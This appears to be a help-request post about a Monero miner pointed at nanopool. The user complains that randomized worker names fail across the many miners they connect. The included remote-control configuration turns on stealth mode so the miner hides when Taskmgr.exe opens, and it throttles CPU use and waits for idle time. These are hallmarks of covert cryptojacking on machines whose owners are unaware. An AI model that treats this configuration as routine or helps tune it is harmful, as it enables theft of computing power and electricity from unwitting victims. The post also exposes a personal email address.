Random name doesn't work on nanopool
Hello, the random name on nanopool does not work for me, so it turns out that all the miners that I connect subscribe under the same name, please see how I fill in the settings and tell me if everything is correct?

Pool Settings:

```
xmr-eu2.nanopool.org:14433
XMR_ADDRESS.{RANDOM}/dadarer@gmail.com
```


And settings for remote control:

```
{
	"algo": "rx/0",
	"pool": "xmr-eu2.nanopool.org",
	"port": 14433,
	"wallet": "XMR_ADDRESS.{RANDOM}/dadarer@gmail.com",
	"password": "",
	"rig-id": "",
	"keepalive": false,
	"nicehash": false,
	"ssltls": true,
	"max-cpu": 30,
	"idle-wait": 2,
	"idle-cpu": 90,
	"stealth": true,
	"stealth-targets": "Taskmgr.exe"
}
```

Let me know what I'm doing wrong I will be very grateful.

I apologize for my English being translated through a translator.